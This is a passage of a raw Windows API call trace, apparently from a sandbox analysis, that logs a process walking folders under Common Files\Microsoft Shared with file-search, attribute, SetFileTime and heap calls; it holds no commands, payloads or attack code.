ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.169] GetLastError () returned 0x12 [0047.169] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0047.169] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0047.169] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.170] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.170] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.170] GetLastError () returned 0x12 [0047.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0047.170] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0047.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0047.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0047.170] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0047.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0047.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0048.418] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0048.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9e62a8 [0048.418] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9e62a8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9e62a8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0048.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e62a8) returned 1 [0048.418] NtClose (Handle=0x16c) returned 0x0 [0048.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0048.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0048.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0048.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0048.418] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0048.418] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.418] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0048.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0048.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e57f8 [0048.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e62c0 [0048.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.419] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0048.419] GetLastError () returned 0x12 [0048.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0048.419] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0048.419] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.419] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.419] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0048.419] GetLastError () returned 0x12 [0048.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0048.419] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0048.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0048.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0048.419] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0048.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0048.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0048.420] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0048.420] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.421] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0048.421] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.421] NtClose (Handle=0x160) returned 0x0 [0048.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0048.422] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0048.422] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.422] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0048.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0048.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed500 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddc90 [0048.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5818 [0048.422] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e63c8 [0048.422] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed500) returned 1 [0048.422] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0048.422] GetLastError () returned 0x12 [0048.422] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0048.423] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0048.423] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.423] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0048.423] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0048.423] GetLastError () returned 0x12 [0048.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0048.423] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0048.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ddc90) returned 1 [0048.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0048.423] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0048.423] GetLastError () returned 0x12 [0048.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0048.423] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0048.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0048.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.423] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="")) returned 1 [0048.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0048.543] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0048.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0048.546] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0048.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0048.547] NtClose (Handle=0x168) returned 0x0 [0048.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0048.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0048.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e64d0 [0048.550] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0048.550] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.550] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0048.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0048.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0048.559] GetLastError () returned 0x12 [0048.561] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0048.566] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0048.917] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.917] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, 